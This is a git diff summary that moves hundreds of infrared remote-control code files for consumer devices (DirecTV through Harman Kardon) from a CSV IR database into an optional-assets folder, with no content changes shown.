.../_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir | 0 .../_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir | 0 .../_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir | 0 .../_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,0.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,1.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,12.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,2.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,3.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,31.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,4.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,5.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,6.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/0,7.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/1,0.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/1,1.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/1,12.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/1,2.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/1,3.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/1,4.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/1,5.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/1,6.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/1,7.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/15,-1.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/16,0.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/24,0.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/28,-1.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/4,0.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/4,5.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/48,-1.ir | 0 .../_CSV-IRDB_/Dish Network/Satellite/8,0.ir | 0 .../_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir | 0 .../_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir | 0 .../_CSV-IRDB_/Draper/Electric Screen/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Draper/Screen/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Draper/Screen/2,-1.ir | 0 .../_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir | 0 .../_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/10,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/11,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/25,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/26,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/41,0.ir | 0 .../_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dwin/Plasma/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dwin/Projector/15,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Dwin/TV/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dwin/Video Processor/7,0.ir | 0 .../_CSV-IRDB_/Dwin/Video Projector/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dwin/Video Projector/7,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir | 0 .../_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/E Max/DVD Player/0,223.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir | 0 .../_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir | 0 .../_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir | 0 .../_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/DSS/0,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/DVR/0,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/DVR/1,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/Dish Network/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir | 0 .../_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/Satellite/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/Satellite/1,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/Satellite/16,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Echostar/Satellite/4,-1.ir | 0 .../_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir | 0 .../_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir | 0 .../_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Elan/DMX/100,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Elan/DMX/14,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Elan/DMX/96,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Elan/DMX/99,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/2,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/4,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/IR Router/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/IR Router/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/Jukebox/96,-1.ir | 0 .../_CSV-IRDB_/Elan/Master Controller/0,-1.ir | 0 .../_CSV-IRDB_/Elan/Master Controller/1,-1.ir | 0 .../_CSV-IRDB_/Elan/Master Controller/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir | 0 .../_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/Tuner/129,115.ir | 0 .../_CSV-IRDB_/Elan/Video Controller/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/Volume Control/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elan/Volume Control/1,241.ir | 0 .../_CSV-IRDB_/Elan/Volume Control/255,15.ir | 0 .../_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir | 0 .../_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir | 0 .../_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir | 0 .../_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Elmo/Camera/128,-1.ir | 0 .../_CSV-IRDB_/Elmo/Video Projector/132,132.ir | 0 .../_CSV-IRDB_/Elmo/Video Projector/134,134.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/TV/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Emerson/TV/135,34.ir | 0 .../_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir | 0 .../_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir | 0 .../_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir | 0 .../_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Emerson/VCR/21,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/VCR/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Emerson/VCR/40,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Epson/Projector/131,85.ir | 0 .../_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir | 0 .../_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir | 0 .../_CSV-IRDB_/Epson/Video Projector/131,85.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/CD Management/0,0.ir | 0 .../_CSV-IRDB_/Escient/CD Management/14,0.ir | 0 .../_CSV-IRDB_/Escient/CD Management/91,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/DVD Library/1,22.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/DVD Library/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/1,22.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/2,22.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/3,22.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/4,22.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/8,-1.ir | 0 .../_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir | 0 .../_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir | 0 .../_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir | 0 .../_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/1,22.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/4,22.ir | 0 .../_CSV-IRDB_/Escient/Media Manager/1,22.ir | 0 .../_CSV-IRDB_/Escient/Media Manager/15,-1.ir | 0 .../_CSV-IRDB_/Escient/Media Manager/15,0.ir | 0 .../_CSV-IRDB_/Escient/Media Manager/2,22.ir | 0 .../_CSV-IRDB_/Escient/Media Manager/3,22.ir | 0 .../_CSV-IRDB_/Escient/Media Manager/33,184.ir | 0 .../_CSV-IRDB_/Escient/Media Manager/4,22.ir | 0 .../_CSV-IRDB_/Escient/Media Manager/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/Media Server/1,22.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Escient/Media Server/4,22.ir | 0 .../_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir | 0 .../_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir | 0 .../_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Extron/Switcher/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Extron/Switcher/128,84.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/FSC/DVD Player/4,15.ir | 0 .../_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir | 0 .../_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir | 0 .../_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir | 0 .../_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir | 0 .../_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir | 0 .../_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir | 0 .../_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir | 0 .../_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Faroudja/Processor/1,-1.ir | 0 .../_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir | 0 .../_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir | 0 .../_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir | 0 .../_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir | 0 .../_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir | 0 .../_CSV-IRDB_/Faroudja/Video Projector/135,78.ir | 0 .../_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir | 0 .../_CSV-IRDB_/Faroudja/Video Projector/24,24.ir | 0 .../_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Fast/TV/28,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Fast/TVS/28,-1.ir | 0 .../_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir | 0 .../_CSV-IRDB_/Fisher/Surround Processor/48,48.ir | 0 .../_CSV-IRDB_/Fisher/Surround Processor/54,200.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/TV/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/TV/56,-1.ir | 0 .../_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir | 0 .../_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir | 0 .../_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir | 0 .../_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir | 0 .../_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir | 0 .../_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir | 0 .../_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir | 0 .../_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir | 0 .../_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir | 0 .../_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir | 0 .../_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Free/Unknown_V5/36,12.ir | 0 .../_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir | 0 .../_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir | 0 .../_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir | 0 .../_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir | 0 .../_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir | 0 .../_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir | 0 .../_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Fujitsu/TV/132,-1.ir | 0 .../_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir | 0 .../_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir | 0 .../_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir | 0 .../_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/GE/TV/15,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/GE/VCR/11,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/GE/VCR/14,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/GE/VCR/26,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir | 0 .../_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Galaxis/Satellite/13,80.ir | 0 .../_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir | 0 .../_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir | 0 .../_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir | 0 .../_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir | 0 .../_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir | 0 .../_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir | 0 .../_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/General Electric/TV/15,-1.ir | 0 .../_CSV-IRDB_/General Electric/VCR/11,-1.ir | 0 .../_CSV-IRDB_/General Electric/VCR/14,-1.ir | 0 .../_CSV-IRDB_/General Electric/VCR/26,73.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/144,0.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Satellite/1,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Satellite/130,110.ir | 0 .../_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir | 0 .../_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir | 0 .../_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir | 0 .../_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir | 0 .../_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Gericom/Plasma/3,-1.ir | 0 .../_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir | 0 .../_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir | 0 .../_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Go Video/VCR/132,98.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Go Video/VCR/5,5.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Go Video/VCR/7,7.ir | 0 .../_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir | 0 .../_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir | 0 .../_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir | 0 .../_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/GoldStar/VCR/110,-1.ir | 0 .../_CSV-IRDB_/Golden Interstar/Sat/128,255.ir | 0 .../_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir | 0 .../_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir | 0 .../_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir | 0 .../_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir | 0 .../_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir | 0 .../_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir | 0 .../_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir | 0 .../_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Griffin/iPod/212,190.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Grundig/Satellite/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Grundig/Satellite/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Grundig/Satellite/8,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/TV/0,-1.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir | 0 .../_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir | 0 .../_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir | 0 .../_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir | 0 .../_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir | 0 .../_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir | 0 .../_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir | 0 .../_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir | 0 .../_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir | 0 .../_CSV-IRDB_/HQV/Video Processor/128,-1.ir | 0 .../_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir | 0 .../_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir | 0 .../_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir | 0 .../_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir | 0 .../_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir | 0 .../_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir | 0 